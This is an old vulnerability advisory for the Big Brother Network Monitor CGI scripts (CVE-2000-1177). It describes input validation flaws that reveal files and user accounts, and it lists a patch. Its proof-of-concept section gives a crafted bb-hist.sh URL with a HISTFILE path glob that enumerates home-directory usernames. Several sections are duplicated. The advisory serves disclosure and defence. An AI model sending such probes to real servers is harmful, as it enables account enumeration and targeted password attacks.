BB4 Big Brother Multiple CGI Vulnerabilities
BID:1971
Info
BB4 Big Brother Multiple CGI Vulnerabilities
| Bugtraq ID: | 1971 |
| Class: | Input Validation Error |
| CVE: |
CVE-2000-1177 |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 20 2000 12:00AM |
| Updated: | Jul 11 2009 03:56AM |
| Credit: | This vulnerability was first announced by Loki in a f8 Research Labs Advisory posted to BugTraq on November 20, 2000. |
| Vulnerable: |
BB4 Big Brother Network Monitor 1.5 d2 |
| Not Vulnerable: | |
Discussion
BB4 Big Brother Multiple CGI Vulnerabilities
Big Brother Network Monitor is a robust, feature rich network monitoring package produced by BB4 Technologies. A problem exists that can allow remote account guessing.
The problem occurs in the Common Gateway Interface package included with Big Brother, which runs on the Big Brother Display Server. The CGI is responsible for statistical posting of network operations on the Big Brother Display Server, an interface which is accessible via Web Browser. Due to insufficient handling of input, it is possible to verify the existance of sensitive files and valid user accounts through the the CGI of the Display Server. Yielding this information to a malicious user could result in a targeted brute force password cracking attack.
The following files are affected by this flaw:
bb-hist.sh
bb-histlog.sh
bb-hostsvc.sh
bb-rep.sh
bb-replog.sh
bb-ack.sh
Big Brother Network Monitor is a robust, feature rich network monitoring package produced by BB4 Technologies. A problem exists that can allow remote account guessing.
The problem occurs in the Common Gateway Interface package included with Big Brother, which runs on the Big Brother Display Server. The CGI is responsible for statistical posting of network operations on the Big Brother Display Server, an interface which is accessible via Web Browser. Due to insufficient handling of input, it is possible to verify the existance of sensitive files and valid user accounts through the the CGI of the Display Server. Yielding this information to a malicious user could result in a targeted brute force password cracking attack.
The following files are affected by this flaw:
bb-hist.sh
bb-histlog.sh
bb-hostsvc.sh
bb-rep.sh
bb-replog.sh
bb-ack.sh
Exploit / POC
BB4 Big Brother Multiple CGI Vulnerabilities
http://www.victim.com/cgi-bin/bb-hist.sh?HISTFILE=/home/*
history Mon Nov 20 22:07:25 EST 2000
Error reading history file [adam]
http://www.victim.com/cgi-bin/bb-hist.sh?HISTFILE=/home/*
history Mon Nov 20 22:07:25 EST 2000
Error reading history file [adam]
Solution / Fix
BB4 Big Brother Multiple CGI Vulnerabilities
Solution:
Patches available:
BB4 Big Brother Network Monitor 1.5 d2
Solution:
Patches available:
BB4 Big Brother Network Monitor 1.5 d2
-
BB4 Big Brother 1.5d3
http://www.bb4.com/download.html
References
BB4 Big Brother Multiple CGI Vulnerabilities
References:
References: